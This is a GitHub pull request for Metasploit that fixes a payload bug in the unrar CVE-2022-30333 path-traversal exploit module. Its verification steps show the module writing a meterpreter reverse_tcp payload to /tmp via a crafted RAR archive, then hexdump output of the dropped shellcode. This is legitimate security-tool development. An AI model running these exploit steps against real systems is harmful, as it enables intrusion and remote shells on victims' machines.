metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

Fix a payload bug in unrar_cve_2022_30333

Open rbowes-r7 opened this issue 2 years ago • 0 comments

I'm not sure why, but setting Space messes things up. This fixes https://github.com/rapid7/metasploit-framework/issues/16924

Verification

Run the exploit:

msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333                                                                            
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146                                                          
LHOST => 10.0.0.146
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../../../tmp/evil                              
TARGET_PATH => ../../../../../../../../tmp/evil
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
                                                                 
[*] Target filename: ../../../../../../../../tmp/evil
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar

Unrar the payload.rar file with Unrar 6.11 or earlier:

ron@fedora ~/.msf4/local $ ~/tools/unrar/unrar x -o+ ./payload.rar

UNRAR 6.11 freeware      Copyright (c) 1993-2022 Alexander Roshal


Extracting from ./payload.rar

Extracting  ylhfjkhlfu                                                OK 
Extracting  ylhfjkhlfu                                                OK 
All OK

The start of the file should be the payload (followed by random junk):

ron@fedora ~/.msf4/local $ hexdump -C /tmp/evil | head
00000000  48 31 ff 6a 09 58 99 b6  10 48 89 d6 4d 31 c9 6a  |H1.j.X...H..M1.j|
00000010  22 41 5a b2 07 0f 05 48  85 c0 78 51 6a 0a 41 59  |"AZ....H..xQj.AY|
00000020  50 6a 29 58 99 6a 02 5f  6a 01 5e 0f 05 48 85 c0  |Pj)X.j._j.^..H..|
00000030  78 3b 48 97 48 b9 02 00  11 5c 0a 00 00 92 51 48  |x;H.H....\....QH|
00000040  89 e6 6a 10 5a 6a 2a 58  0f 05 59 48 85 c0 79 25  |..j.Zj*X..YH..y%|
00000050  49 ff c9 74 18 57 6a 23  58 6a 00 6a 05 48 89 e7  |I..t.Wj#Xj.j.H..|
00000060  48 31 f6 0f 05 59 59 5f  48 85 c0 79 c7 6a 3c 58  |H1...YY_H..y.j<X|
00000070  6a 01 5f 0f 05 5e 6a 7e  5a 0f 05 48 85 c0 78 ed  |j._..^j~Z..H..x.|
00000080  ff e6 6c d3 58 9b a5 5c  96 55 58 92 b9 d1 d8 f7  |..l.X..\.UX.....|

rbowes-r7 avatar Aug 19 '22 21:08 rbowes-r7